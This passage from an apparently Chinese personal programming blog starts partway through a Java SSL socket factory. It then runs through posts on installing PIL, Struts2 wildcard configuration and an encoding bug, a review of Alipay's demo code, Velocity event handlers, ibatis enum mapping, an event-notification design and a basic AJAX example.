new FileInputStream(tksfile), tkspwd.toCharArray());

            kmf.init(ks, kspwd.toCharArray());
            tmf.init(tks);

            context.init(kmf.getKeyManagers(), tmf.getTrustManagers(), 
null);
            
return context;
        } 
catch (Exception e) {
            
throw new HttpClientError(e.toString());
        }
    }

    
private SSLContext getSSLContext() {
        
if (this.sslcontext == null) {
            
this.sslcontext = createEasySSLContext();
        }
        
return this.sslcontext;
    }

}

备注:
至于ssl相关的知识,和如何创建java key store,可见:
SSL双向认证java实现


如何使用,也简单:
Protocol.registerProtocol("https", new Protocol("https", new EasySSLProtocolSocketFactory(KS_FILE, KS_PWD, TKS_FILE, TKS_PWD), 443))

官方资料:
http://hc.apache.org/httpclient-3.x/sslguide.html

演示代码:
httpclient-ssl.zip

posted @ 2010-01-30 14:39 stone2083 阅读(2974) | 评论 (0)编辑 收藏

ubuntu下安装Python Imaging Library (PIL)

easy_install is not so easy。
这是我最近在学习python的一丝体会,好多lib都无法通过easy_install安装,比如:Python Imaging Library (PIL)

只能通过手工安装方式安装:
*download the pil_1.1.6
*tar xvf Imaging-1.1.6.tar.gz & chmox +x setup.py
*python setup.py build

结果,居然:
 _imagingtk.c -o build/temp.linux-i686-2.6/_imagingtk.o
_imagingtk.c:
20:16: error: tk.h: No such file or directory
_imagingtk.c:
23: error: expected ‘)’ before ‘*’ token
_imagingtk.c:
31: error: expected specifier-qualifier-list before ‘Tcl_Interp’
_imagingtk.c: In function ‘_tkinit’:
_imagingtk.c:
37: error: ‘Tcl_Interp’ undeclared (first use in this function)
_imagingtk.c:
37: error: (Each undeclared identifier is reported only once
_imagingtk.c:
37: error: for each function it appears in.)
_imagingtk.c:
37: error: ‘interp’ undeclared (first use in this function)
_imagingtk.c:
45: error: expected expression before ‘)’ token
_imagingtk.c:
51: error: ‘TkappObject’ has no member named ‘interp’
_imagingtk.c:
55: warning: implicit declaration of function ‘TkImaging_Init’
error: command 'gcc' failed with exit status 
1

tk.h No such file or directory

事实上,tk-dev包我已经安装了,查看setup.py代码,发现:
# Library pointers.
#
#
 Use None to look for the libraries in well-known library locations.
#
 Use a string to specify a single directory, for both the library and
#
 the include files.  Use a tuple to specify separate directories:
#
 (libpath, includepath).  Examples:
#
#
 JPEG_ROOT = "/home/libraries/jpeg-6b"
#
 TIFF_ROOT = "/opt/tiff/lib", "/opt/tiff/include"
#
#
 If you have "lib" and "include" directories under a common parent,
#
 you can use the "libinclude" helper:
#
#
 TIFF_ROOT = libinclude("/opt/tiff")

FREETYPE_ROOT 
= None
JPEG_ROOT 
= None
TIFF_ROOT 
= None
ZLIB_ROOT 
= None
TCL_ROOT 
= None

将TCL_ROOT = None 修改成:TCL_ROOT = '/usr/include/tk',即可

python setup.py build
python setup.py install

成功 :)

posted @ 2009-10-27 17:25 stone2083 阅读(3148) | 评论 (1)编辑 收藏

Struts2.1.6--想用通配符,不容易

初次使用Struts2,老老实实为每个action method配置url mapping文件。
时间长了,难为觉得繁琐,为何不使用COC的方式呢?终于,想到了使用通配符。
查看Struts2 Docs,找到相关配置方法:

<package name="alliance" namespace="/alliance" extends="struts-default">
        
<action name="*/*" class="cn.zeroall.cow.web.alliance.action.{1}Action" method="{2}">
            
<result name="target" type="velocity">/templates/alliance/{1}/${target}.vm</result>
            
<result name="success" type="velocity">/templates/alliance/{1}/{2}.vm</result>
            
<result name="input" type="velocity">/templates/alliance/{1}/{2}.vm</result>
            
<result name="fail" type="velocity">/templates/common/error.vm</result>
        
</action>
</package>

恩,非常方便,可是启动jetty,发现满足正则的url,就是找不到Action。
无奈,debug代码,找到原因,需要在struts.properties中,配置:
struts.enable.SlashesInActionNames = true
见注释:
### Set this to true if you wish to allow slashes in your action names.  If false,
### Actions names cannot have slashes, and will be accessible via any directory
### prefix.  This is the traditional behavior expected of WebWork applications.
### Setting to true is useful when you want to use wildcards and store values
### in the URL, to be extracted by wildcard patterns, such as 
### 
<action name="*/*" method="{2}" class="actions.{1}"> to match "/foo/edit" or 
### "/foo/save".

启动,COC终于成功。

但是(又冒出一个但是),针对*/*正则的url mapping,如何做validation呢?
按照struts2的约定,是通过:
[package/]ActionName-${配置中的action name=""中的名字}-validation.xml

如何把"/"这个符号放入到${配置中的action name=""中的名字}呢?
"/"可不是一个合法的文件名。

比如,我要为AlliedMemberAction/doRegister做validation,那么约定的校验文件名应该是:
cn/zeroall/cow/web/alliance/action/AlliedMemberAction-AlliedMember/doRegister-validation.xml
这个特殊符号,可难刹我也。

无奈,继续debug,发现在代码:
xwork框架中的,AnnotationActionValidatorManager:
private  List<ValidatorConfig> buildAliasValidatorConfigs(Class aClass, String context, boolean checkFile) {
        String fileName = aClass.getName().replace('.', '/') + "-" + context + VALIDATION_CONFIG_SUFFIX;

        return loadFile(fileName, aClass, checkFile);
}
这个context就是action name=""中的url表达式。

思想斗争后,由于我不喜欢使用*-*的pattern,更喜欢使用*/*pattern,只好修改了源码:
private  List<ValidatorConfig> buildAliasValidatorConfigs(Class aClass, String context, boolean checkFile) {
        String fileName = aClass.getName().replace('.', '/') + "-" + context.replace("/", "-") + VALIDATION_CONFIG_SUFFIX;

        return loadFile(fileName, aClass, checkFile);
}
将context中的“/”变成"-"解决这个问题。

不清楚struts2官方怎么看待这个问题。

大家是否有更好的方案,请指教


posted @ 2009-09-26 14:06 stone2083 阅读(3687) | 评论 (5)编辑 收藏

支付宝接口demo代码读后感

最近在帮朋友做一个支付功能,用到了支付宝。
从支付宝管理界面,下载到商户合作文档,看了demo程序后,心是拔凉拔凉的。
说说review代码后的问题吧:
CheckURL.java
public static String check(String urlvalue ) {


      String inputLine
="";

        
try{
                URL url 
= new URL(urlvalue);

                HttpURLConnection urlConnection  
= (HttpURLConnection)url.openConnection();

                BufferedReader in  
= new BufferedReader(
                        
new InputStreamReader(
                                urlConnection.getInputStream()));

                inputLine 
= in.readLine().toString();
            }
catch(Exception e){
                e.printStackTrace();
            }
            
//System.out.println(inputLine);  系统打印出抓取得验证结果

        
return inputLine;
  }
*Inputstream不需要close?
*知道e.printStackTrace()的性能代价?

Md5Encrypt.java
*是采用什么编码的?我下载的是UTF8编码版本的,请问Md5Encrypt.java是什么编码?

Payment.java
public static String CreateUrl(String paygateway,String service,String sign_type,String out_trade_no,

                  String input_charset,String partner,String key,String seller_email,

                  String body,String subject,String price,String quantity,String show_url,String payment_type,

                  String discount,String logistics_type,String logistics_fee,String logistics_payment,

                  String return_url) {

                   
//String notify_url,需要的请把参数加入以上的createurl

        Map params 
= new HashMap();

        params.put(
"service", service);

        params.put(
"out_trade_no", out_trade_no);

        params.put(
"show_url", show_url);

        params.put(
"quantity", quantity);

        params.put(
"partner", partner);

        params.put(
"payment_type", payment_type);

        params.put(
"discount", discount);

        params.put(
"body", body);

       
// params.put("notify_url", notify_url);

        params.put(
"price", price);

        params.put(
"return_url", return_url);

        params.put(
"seller_email", seller_email);

        params.put(
"logistics_type", logistics_type);

        params.put(
"logistics_fee", logistics_fee);

        params.put(
"logistics_payment", logistics_payment);

        params.put(
"subject", subject);

        params.put(
"_input_charset", input_charset);

        String prestr 
= "";



        prestr 
= prestr + key;

        
//System.out.println("prestr=" + prestr);



        String sign 
= com.alipay.util.Md5Encrypt.md5(getContent(params, key));



        String parameter 
= "";

        parameter 
= parameter + paygateway;

        
//System.out.println("prestr="  + parameter);

        List keys 
= new ArrayList(params.keySet());

        
for (int i = 0; i < keys.size(); i++) {

              String value 
=(String) params.get(keys.get(i));

            
if(value == null || value.trim().length() ==0){

                
continue;

            }

            
try {

                parameter 
= parameter + keys.get(i) + "="

                    
+ URLEncoder.encode(value, input_charset) + "&";

            } 
catch (UnsupportedEncodingException e) {



                e.printStackTrace();

            }

        }



        parameter 
= parameter + "sign=" + sign + "&sign_type=" + sign_type;



        
return sign;



    }
*多少个参数啊?超过3,4个参数,都不使用ParameterClass吗?方便client调用吗?
*这个方法做什么?createUrl?得到url。可事实上呢?return sign。sign是什么?是参数的加密窜。
方法中的parameter不知道要来干吗用?
*又看到
e.printStackTrace();

SignatureHelper.java
哇,总算看到一个过得去的代码,可以eclipse上,发现一个warning:import java.io.UnsupportedEncodingException;
有用到UnsupportedEncodingException这个吗?

SignatureHelper_return.java
*看看这个类名,符合java类名的规范吗?
*和SignatureHelper.java有什么区别?

SetCharacterEncodingFilter.java
哇塞,总算看到非常标准的代码了。可是:@author Craig McClanahan,原来是copy过来的。呜呼。

并且整个demo工程,是用myeclipse的。哎。。。

看不下去了,实在看不下去了。
我不清楚支付宝公司提供的demo程序的目的是什么?
--提供的java文件是允许打成lib包使用的?
--仅仅提供学习的?

就算是提供学习的,写得标准些,行不?

最后,我真希望,是我自己下错了demo程序--这个demo程序不是支付宝官方的demo。希望如此吧,阿门~

备注:
除了demo,那份接口文档,写得还是非常规范的。

posted @ 2009-09-18 13:10 stone2083 阅读(6370) | 评论 (10)编辑 收藏

科比现身阿里滨江园区

公园2009年09月11日下午13点30分,科比现身阿里巴巴滨江园区,难得有一次机会,近观科比。
最大的感受:高,黑,精(肉够精)
附上同学拍摄的纪实照片:





















posted @ 2009-09-11 21:03 stone2083 阅读(444) | 评论 (0)编辑 收藏

Struts2.1.6 StrutsPrepareAndExecuteFilter bug

在用strust2.1.6做小项目,结果居然发现在post数据的时候,居然有乱码。
自认为对编码也算了解,立马check应用的content type,struts2配置的struts.locale,struts.i18n.encoding,没错,都是统一使用了UTF-8。
那是为什么呢?没办法,只能debug应用,结果发现:
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {

        HttpServletRequest request 
= (HttpServletRequest) req;
        HttpServletResponse response 
= (HttpServletResponse) res;

        
try {
            prepare.createActionContext(request, response);
            prepare.assignDispatcherToThread();
            prepare.setEncodingAndLocale(request, response);
            request 
= prepare.wrapRequest(request);
            ActionMapping mapping 
= prepare.findActionMapping(request, response);
            
if (mapping == null) {
                
boolean handled = execute.executeStaticResourceRequest(request, response);
                
if (!handled) {
                    chain.doFilter(request, response);
                }
            } 
else {
                execute.executeAction(request, response, mapping);
            }
        } 
finally {
            prepare.cleanupRequest(request);
        }
    }
看到没?
1) prepare.createActionContext(request, response);
2)
prepare.setEncodingAndLocale(request, response);
setEncodingAndLocale居然在createActionContext之后,在没有设置正确的encoding之前,解析request中的parameters,能成吗?

无奈之下,只能暂时用
CharacterEncodingFilter这个filter设置request的character,猥琐地临时解决问题。

今天打算向Struts提交bug的时候,发现该bug在2.1.7版本中被修复,详见:https://issues.apache.org/struts/browse/WW-3075%3Bjsessionid=3EAC5B44A949CA77B4471AA0D45754E9?page=com.atlassian.jira.plugin.ext.subversion%3Asubversion-commits-tabpanel

哎,在使用2.1.7之前,先用CharacterEncodingFilter吧 :)


posted @ 2009-06-08 20:37 stone2083 阅读(4051) | 评论 (3)编辑 收藏

事件消息通知系统

在SOA架构中,JMS协议中的“点对点”消息方式,已经能够很好的支持1对1系统之间的通讯;
但是,类似事件消息的通知(应用产生一个事件消息,其他多个系统做相应处理),理论上JMS协议中的“订阅”方式,能够支持此类场景,不过协议说:在消息产生通知订阅者的时候,如果某个订阅者系统不在线,则消息丢失--此订阅者接受不到消息。
并且,始终抱着对客户端简单,友好的态度,我希望client(应用)本身只要发出事件消息,并不需要去关注消息通知哪些订阅者,而这一切,应该由“事件消息通知系统”,代为完成。

经过昨天晚上空闲时间的思考,大概设计了“事件消息通知系统”的概念模型。(此概念模型,基于IP,路由,DNS思考得来)
详见下图:


事件消息通知系统


概念解释:
1)Application:业务应用,一旦有事件消息产生,不再关注需要发送到哪些目的地,只需要统一发送到Event Message Center;

2)Event Message Center:一切事件消息的暂存地;

3)Event Message Router:事件消息路由器,根据Event Message Configuration Center(事件消息配置中心,即事件消息路由配置中心),将不同的消息,路由分发到不同的订阅者目的地;

4)Event Message Configuration Center:事件消息配置中心,即事件消息路由配置中心;

5)Event Message Registrar:事件消息登记中心,通过GUI界面,将Event Message Configuration Center中的路由信息展现给用户,并且允许用户进行事件消息路由信息的配置;

6)Event Message Subscription:事件消息订阅中心,同一类事件消息的暂存地;

7)Event Message Subscription Distributer:事件消息订阅分发者,根据Event Message Subscription Configuration Center(事件消息订阅配置中心)的配置信息,讲事件消息分发到不同的订阅者目的地;

8)Event Message Subscription Configuration Center:事件消息订阅配置中心,即事件消息订阅分发路由信息配置;

9)Event Message Subscription Registrar:事件消息订阅登记中心,通过GUI界面,将 Event Message Subscription Configuration Center中的分发路由信息展现给用户,并且允许用户进行事件消息订阅路由信息的配置;

10)Event Message Destination:事件消息目的地;

11)Event Message Consumer:不同订阅者的消费端


写下此随笔,仅仅把把自己对“事件消息系统”的感观认识记录。
由于思考和整理时间很短,此概念模型存在很多缺陷之处,还望大家多多指点。

posted @ 2009-05-07 21:49 stone2083 阅读(2870) | 评论 (2)编辑 收藏

最近加班统计

最近是进入公司来,遇到的第三次疯狂加班时期,记录如下:
04/09 -- 凌晨1点;
04/10 -- 通宵;
04/11 -- 晚上23点;
04/12 -- 凌晨12点;
04/13 -- 晚上22点;
04/14 -- 晚上23点;
04/15 -- 凌晨3点;
04/16 -- 晚上22点;
04/17 -- 凌晨3点;
04/18 -- 通宵到第二天12点;

没有参与项目前期设计工作,导致一些接口设计存在问题,项目上线后,疯狂暴露问题.
结果俺成了救火队员:
分析错误(救火之前还不清楚接口逻辑,通过分析错误日志,慢慢了解一些逻辑和实现)
做数据订正;
重新设计新接口实现;
晚上还要留下来监控任务执行情况--光靠SA监控已经不够了;

上一次连续通宵加班,是由于和美国Verisign合作,做域名项目,由于有时差,只能晚上干活,到也也心甘情愿;
而这次连续加班,完全是被不切实际的"Dead Line"项目整死的.

忍不住抱怨下 :(

posted @ 2009-04-15 18:54 stone2083 阅读(360) | 评论 (0)编辑 收藏

基于java实现的多层目录结构

     摘要: 最近在做小需求的时候,需要用到目录树,特地写了一个基于java的实现。 由于需求原因,目前只实现了读部分的功能--如何将平面节点build成树。动态新增,删除等功能尚未实现。 目录结构概念: Node:目录节点,具备节点属性信息 NodeStore:平面目录节点持久化接口,提供方法如下: public List<T> findByType(String t...  阅读全文

posted @ 2009-02-28 21:25 stone2083 阅读(2571) | 评论 (3)编辑 收藏

Velocity之EventHandler

Velocity在渲染页面的时候,提供了不同的EventHanlder,供开发者callback。
本文简要说明下,在Velocity1.6.1版本下,不同EventHanlder的作用:

EventHandler(接口):
Base interface for all event handlers
仅仅是一个事件侦听标志



IncludeEventHandler
(接口):
Event handler for include type directives (e.g. #include(), #parse()) Allows the developer to modify the path of the resource returned.
在使用#include(),#parse()语法的时候,允许开发修改include或者parse文件的路径(一般用于资源找不到的情况)
IncludeNotFound(IncludeEventHandler实现类):

Simple event handler that checks to see if an included page is available. If not, it includes a designated replacement page instead.By default, the name of the replacement page is "notfound.vm", however this page name can be changed by setting the Velocity property eventhandler.include.notfound, for example:

eventhandler.include.notfound = error.vm

当使用#include(),#parse()语法的时候,如果提供的资源文件找不到,则默认使用notfound.vm模板代替。

开发者可以通过设置eventhandler.include.notfound属性,修改替代模板的路径。

IncludeRelativePath(IncludeEventHandler实现类):

Event handler that looks for included files relative to the path of the current template. The handler assumes that paths are separated by a forward slash "/" or backwards slash "\".

使用相对路径方式,寻找#include或者#parse()中指定的资源文件



InvalidReferenceEventHandler(接口):

Event handler called when an invalid reference is encountered. Allows the application to report errors or substitute return values

当渲染页面的时候,一旦遇到非法的reference,就会触发此事件。开发者可以侦听此事件,用于错误的报告,或者修改返回的内容。

ReportInvalidReferences(InvalidReferenceEventHandler实现类):

Use this event handler to flag invalid references.

使用这个实现类用于标志非法的references。修改eventhandler.invalidreference.exception属性,可以在捕捉到第一个非法references的时候,停止模板的渲染。



MethodExceptionEventHandler(接口):

Event handler called when a method throws an exception. This gives the application a chance to deal with it and either return something nice, or throw. Please return what you want rendered into the output stream.

渲染模板,一旦发现调用的方法抛出异常的时候,就会触发此事件。允许开发者处理这个异常,输出友好信息或者抛出异常。必须返回一个值用于模板的渲染。

PrintExceptions(MethodExceptionEventHandler实现类):

Simple event handler that renders method exceptions in the page rather than throwing the exception. Useful for debugging.

By default this event handler renders the exception name only. To include both the exception name and the message, set the property eventhandler.methodexception.message to true. To render the stack trace, set the property eventhandler.methodexception.stacktrace to true.

模板渲染时,遇到方法异常,输出异常名,而不是抛出这个异常。对于调式,非常有帮助。

通过eventhandler.methodexception.messageeventhandler.methodexception.stacktrace属性的设置,可以输出异常message和stacktrace.



NullSetEventHandler(接口):

Event handler called when the RHS of #set is null. Lets an app approve / veto writing a log message based on the specific reference.

当使用#set()语法,设置一个null值的时候,会触发此事件。--目前Velocity官方没有提供默认实现。



ReferenceInsertionEventHandler(接口):

Reference 'Stream insertion' event handler. Called with object that will be inserted into stream via value.toString(). Please return an Object that will toString() nicely

当渲染变量(reference)的时候,就会触发此事件。允许开发者返回更加友好的值--一般用于内容的escape,比如HtmlEscape等。

EscapeHtmlReference(ReferenceInsertionEventHandler实现类):

html escape

EscapeJavaScriptReference(ReferenceInsertionEventHandler实现类):

javascript escape

EscapeSqlReference(ReferenceInsertionEventHandler实现类):

sql escape

EscapeXmlReference(ReferenceInsertionEventHandler实现类):

xml escape


以上是Velocity组件中提供的EventHandler介绍。下面写一个简单的例子来说明EventHandler的使用。

模拟需求,假如输出的内容带有html标签,而输出的内容需要过滤这些标签。如果我们手工对输出变量通过StringEscapeUtils.escapeHtml()来实现,则太过繁琐。所以,我们就可以使用Velocity中的EscapeHtmlReference。demo代码如下:

VelocityEngine ve = new VelocityEngine();
EventCartridge eventCartridge 
= new EventCartridge();
eventCartridge.addEventHandler(
new EscapeHtmlReference());

Context context 
= new VelocityContext();
context.put(
"name""<table></table>");
eventCartridge.attachToContext(context);

StringWriter writer 
= new StringWriter();
ve.mergeTemplate(VM_LOCATION, 
"utf-8", context, writer);
System.out.println(
"================================");
System.out.println(writer.toString());
System.out.println(
"================================");


模板文件中,仅仅为 $name

则输出内容如下:

================================
&lt;table&gt;&lt;/table&gt;
================================

posted @ 2009-02-05 22:26 stone2083 阅读(2661) | 评论 (0)编辑 收藏

ibatis支持枚举类型

很多应用中,数据库表结构都会存在一些状态字段。在关系性数据库中,一般会用VARCHAR类型。使用ibatis的应用,传统做法,往往会使用String的属性,与之对应。
例如一张member表,结构设计如下:

其中status为状态字段。

ibatis中,使用class MemberPO 与之mapping,设计往往如下:
public class MemberPO implements Serializable {
    
private Integer id;
    
private String loginId;
    
private String password;
    
private String name;
    
private String profile;
    
private Date gmtCreated;
    
private Date gmtModified;
    
private String status;

   
//getter/setters

缺点:
1)不直观,没人会知道status具体有哪些值。在缺乏文档,并且历史悠久的系统中,只能使用“select distinct(status) from member”,才能得到想要的数据。如果是在千万级数据中,代价太大了;
2)类型不安全,如果有人不小心拼写错误,将会导致错误状态。假设上面列子中,status只允许ENABLED/DISABLED,如果一不小心,memberPO.setStatus("ENABLEDD"),那么将会造成脏数据。

既然jdk5之后,引入了enum,是否可以让ibatis支持enum类型呢?事实上,最新的ibatis版本,已经支持enum类型(本文使用的是2.3.4.726版本--mvn repsitory上最新的版本)。
以上代码可以修改成:
1)Status类:
public enum Status {

    
/** enabled */
    ENABLED,

    
/** disabled */
    DISABLED;

2)MemberPO类:
public class MemberPO implements Serializable {
    
private Integer id;
    
private String loginId;
    
private String password;
    
private String name;
    
private String profile;
    
private Date gmtCreated;
    
private Date gmtModified;
    
private Status status;

    
//getter/setters

除此之外,其他均无需改动。
为什么呢?ibatis如何知道VARCHAR/Enum的mapping呢?
看过ibatis源码的同学,知道,ibatis是通过jdbcType/javaType得到对应的TypeHandler做mapping处理的。ibatis有基本类型的TypeHandler,比如StringTypeHandler,IntegerTypeHandler等等。在最新版本中,为了支持enum,增加了一个EnumTypeHandler。

并且在TypeHandlerFactory中,加了对enum类型的判断,请看:
public TypeHandler getTypeHandler(Class type, String jdbcType) {
    Map jdbcHandlerMap 
= (Map) typeHandlerMap.get(type);
    TypeHandler handler 
= null;
    
if (jdbcHandlerMap != null) {
      handler 
= (TypeHandler) jdbcHandlerMap.get(jdbcType);
      
if (handler == null) {
        handler 
= (TypeHandler) jdbcHandlerMap.get(null);
      }
    }
    
if (handler == null && type != null && Enum.class.isAssignableFrom(type)) {
      handler 
= new EnumTypeHandler(type);
    }
    
return handler;
  }
ibatis使用了取巧的方法,当取不到基本类型的handler时候,判断javaType是否是Enum类型--Enum.class.isAssignableFrom(type),如果是,则使用 EnumTypeHandler进行mapping处理。

为什么说它取巧,原因是早期ibatis设计过程中,自定义的接口无法得到具体的java class type。故早期的ibatis中,要实现对enmu的支持,非常苦难。而新版本中,为了达到这个功能,作者直接修改了TypeHandlerFactory的实现,打了一个补丁,如下:
if (handler == null && type != null && Enum.class.isAssignableFrom(type)) {
      handler 
= new EnumTypeHandler(type);
}
这个设计有悖于和早前的设计思想。早期,TypeHandler都是通过public void register(Class type, String jdbcType, TypeHandler handler)方式事先注册到factory中的,而这次,是在运行期,通过new方法动态得到EnumTypeHandler。
当然,新版本ibatis能支持enum,已经是一件开心的事情了。

Status枚举类除了描述状态,就足够了吗?回想起很多应用,我是做web开发的,在view层(velocity,jsp,等),见多了类似这样的代码:
#if($member.getStatus()==Status.ENABLED)开通#elseif($member.getStatus()==Status.DISABLED)关闭#end

<select>
  
<option value="ENABLED" #if($member.getStatus()==Status.ENABLED) selected="selected"#end >开通</option>
  
<option value="DISABLED" #if($member.getStatus()==Status.DISABLED) selected="selected"#end >关闭</option>
</select>

web层需要多少个页面,就需要维护多少份这样的代码;以后每添加/删除一种状态,多个地方都需要修改,还要担心逻辑不一致。

而事实上,关于状态的信息描述,按照职责分,就应该由枚举类来维护:
1)制定一个接口,EnumDescription.java
public interface EnumDescription {

    
public String getDescription();

}
2)写一个ResourceBundleUtil.java,通过Properties文件得到描述信息:
public class ResourceBundleUtil {

    
private ResourceBundle resourceBundle;

    
public ResourceBundleUtil(String resource) {
    
this.resourceBundle = ResourceBundle.getBundle(resource);
    }

    
public ResourceBundleUtil(String resource, Locale locale) {
    
this.resourceBundle = ResourceBundle.getBundle(resource, locale);
    }

    
public String getProperty(String key) {
    
return resourceBundle.getString(key);
    }

}
3)Status等枚举类实现EnumDescription:
public enum Status implements EnumDescription {

    
/** enabled */
    ENABLED,

    
/** disabled */
    DISABLED;

    
private static ResourceBundleUtil util = new ResourceBundleUtil(Status.class.getName());

    
public String getDescription() {
       
return util.getProperty(this.toString());
    }

}

这样,有什么好处:
1)通过Properties文件,支持国际化。
2)描述信息统一由自己来维护,方便维护,并且显示层逻辑简化,如:
$member.getStatus().getDescription()

<select>
  #foreach($status in $Status.values())
    
<option value="$status" #if($member.getStatus()==$status)selected="selected"#end >$status.getDescription()</option>
  #end
</select>

##############################################################################
那么使用老版本ibatis的客户怎么办呢?就像我们公司使用ibatis 2.3.0,难道只能眼馋着?解决方案:
1)升级到最新版本。 :)
2)ibatis提供了TypeHandler/TypeHandlerCallback接口,针对每种枚举类型,写相应的TypeHandler/TypeHandlerCallback的接口实现即可--工作量大,重复的劳动力。
主要是早期ibatis TypeHandler无法得到javaType类型,无法从jdbc value转成对应的枚举。在我看来,TypeHandler是作mapping用的,它至少有权知道javaType。
3)实现伪枚举类型(允许继承)来实现状态类型安全,而抛弃jdk5的方式--不方便日后升级。


不知道大家是否还有更好的方案?

本文涉及演示代码如下:
演示代码
workspace file encoding:utf-8
build tool: maven
repository:spring/2.5.5;ibatis/2.3.4.726

posted @ 2008-11-05 23:08 stone2083 阅读(6785) | 评论 (2)编辑 收藏

ajax原理简介以及简单demo演示

如今web应用上,ajax技术是大行其道。
ajax框架层出不穷,prototype,dojo,jquery,mootools,dwr,buffalo,ext,yui,spry。。。
ajax框架的出现,在提升开发生产效率的同时,也让不少同学不明其内在原理,仅仅成为了某些框架的使用者。
(对于产品生产是好事,对于技术追求是坏事)

本文不涉及任何ajax框架的使用,本文仅通过一个模拟需求,在不使用任何ajax框架的前提下,以demo演示的方式,
向大家介绍ajax的原理以及应用场景。

ajax全称是:Asynchronous JavaScript And XML。
其本意是,通过javascript技术(JavaScript),通过异步http请求方式(Asynchronous),得到XML文本内容(XML)之后,通过javascript技术局部刷新web页面内容。
从广义的概念看,只要符合“异步请求,局部刷新web页面”的技术,都可以成为ajax。
未必一定要使用javascript,一般情况下,大多数client端脚本代码都可以;返回内容也未必一定要是xml,目前json格式,更为流行。

如何异步请求内容呢?
以javascript代码作演示,如下:
function xmlhttpPost(url,func) {
    
var xmlHttpReq = false;
    
var self = this;
    
// Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq 
= new XMLHttpRequest();
    }
    
// IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq 
= new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq.open('POST', url, 
true);
    self.xmlHttpReq.setRequestHeader('Content
-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq.onreadystatechange 
= function() {
        
if (self.xmlHttpReq.readyState == 4) {
            func(self.xmlHttpReq.responseText);
        }
    }
    self.xmlHttpReq.send(
null);
  }
参数一,url:表明异步请求的资源地址
参数二,func:表明请求结束后,采用什么函数对请求结果内容进行回调处理

其实,这一个js代码,就诠释了ajax的全部含义--异步请求资源,将得到的资源内容,使用指定的function进行处理。
所以,ajax很简单,大家千万别被如今层出不穷的ajax框架给吓怕了。要了解ajax的原理,就只要参看这段代码即可。
如今的一些框架,仅仅在此基础上,是封装了一些公用的函数,方便开发人员调用。(当然,说说简单,其实所谓的这些函数,大大方便了开发人员使用ajax技术。具体请参看ajax framework的官方介绍。)

特别说明:这个xmlhttpost方法改进了simple-ajax。在原基础上,将回调方法作为参数传递。


解释了原理性的内容之后,接下来,以一个模拟的应用场景,demo说明ajax的使用,以及它的主要应用场景。
模拟场景:
目录选择,即当选择一个目录的时候,需要显示这个目录下的所有子目录。

首先,我们来虚拟一个目录结构,如下:


那么,要实现目录选择,有三个方式:
1)页面初始化的时候,服务端将所有的目录信息都put到页面中。
   优点:选择操作简单,有了全部的目录信息,做选择操作,都可以使用js完成,无需和服务端进行交互
   缺点:当目录信息很大的时候,比如有上万个节点,整个目录信息有1m左右大小,那么要渲染这个页面,估计得20秒左右(视网速)
并且,很可能用户仅仅只要选择有限的几个节点就可以,比如上万个节点中选择6-7个节点,那么浪费太大了;
2)页面初始化的时候,服务端将当前需要的节点信息put到页面上,一旦有选择操作,重新刷新页面。
   优点:选择操作简单,对于节点信息,每次取需要的内容,不存在浪费现象
   缺点:每次都要刷新整个页面,除节点信息外,其他不变的东西都需要重新从服务端取,增加无谓的消耗。
3)页面初始化的时候,服务端将当前需要的节点信息put到页面上,一旦有选择操作,只刷新节点相关的内容;
   优点:每次只load需要的信息,局部刷新页面内容,不存在任何浪费现象
   缺点:需要异步请求数据,每次请求都需要和服务器交互,选择操作稍显复杂(异步请求,局部刷新)

通过这三种方式做对比,发现ajax主要适用的场景如下:
1)整体内容量大(几百k,几m,甚至几十m),而页面只需要其中一小部分信息即可;
2)数据显示,只涉及一个页面中部分数据信息的变动;

特别说明:至于使用ajax性能如何,需要对1,3两个情况做性能测试,权衡使用。

针对第三种方案,
首先需要一个取节点资源的url,
演示代码中,为了演示方便,使用php语言,而非使用主要语言java;
tree_node.php
<?php
$id =  $_GET['id']; 
if("1" == $id) {
  
echo("{\"id\":1,\"parentId\":-1,\"name\":\"1-1\",\"children\":[{\"id\":2,\"name\":\"2-1\"},{\"id\":3,\"name\":\"2-2\"},{\"id\":4,\"name\":\"2-3\"}]}");
else if("2" == $id) {
  
echo("{\"id\":2,\"parentId\":1,\"name\":\"2-1\",\"children\":[]}");
else if("3" == $id) {
  
echo("{\"id\":3,\"parentId\":1,\"name\":\"2-2\",\"children\":[]}");
else if("4" == $id) {
  
echo("{\"id\":4,\"parentId\":1,\"name\":\"2-3\",\"children\":[{\"id\":5,\"name\":\"3-1\"},{\"id\":6,\"name\":\"3-2\"}]}");
else if("5" == $id) {
  
echo("{\"id\":5,\"parentId\":4,\"name\":\"3-1\",\"children\":[]}");
else if("6" == $id) {
  
echo("{\"id\":6,\"parentId\":4,\"name\":\"3-2\",\"children\":[{\"id\":7,\"name\":\"4-1\"}]}");
else if("7" == $id) {
  
echo("{\"id\":7,\"parentId\":6,\"name\":\"4-1\",\"children\":[]}");
else {
  
echo("");
}
?>
该文件中,写死了目录结构(一般情况下,往往根据树对象,动态取得需要的节点)。


通过js,动态请求节点信息,部分刷新页面内容:
 <script type="text/javascript">
    
//模拟需求js
    var nodeSelect = function(text) {
      
var tree = toJsonObje(text);
      
var options = document.getElementById("tree").options;
      options.length 
= 0;
      options.add(
new Option("请选择","-1"));
      
if(tree == null) {
        
return;
      } 
else {
        
var children = tree.children;
        
for(i = 0; i < children.length; i++) {
          
var child = children[i];
          options.add(
new Option(child.name,child.id));
        }
        
if(tree.parentId != "-1") {
          options.add(
new Option("上一级",tree.parentId));
        }
      }
      document.getElementById(
"l").innerHTML = "当前位置:" + tree.name;
    }

    
function nodeSelectAjax(id) {
      
var TREE_NODE_URL = "tree_node.php";
      
var url = TREE_NODE_URL + "?id=" + id;
      xmlhttpPost(url,nodeSelect);
    }   
  
</script>
nodeSelectAjax,异步请求节点资源
nodeSelect,回调函数,根据请求信息,局部刷新页面


至于请求资源信息格式,任何方式都可以,只要client端能解析就行。
目前json格式,比较流行。
最后,附上java使用json库,生成json格式的方法:
JSONObject node = new JSONObject();
node.put(
"id"1);
node.put(
"parentId"-1);
node.put(
"name""1-1");
JSONArray children 
= new JSONArray();
JSONObject c1 
= new JSONObject();
c1.put(
"id"2);
c1.put(
"name""2-1");
JSONObject c2 
= new JSONObject();
c2.put(
"id"3);
c2.put(
"name""2-2");
children.put(c1);
children.put(c2);
node.put(
"children", children);
System.out.println(node.toString());



ajax demo
工程文件编码:utf-8
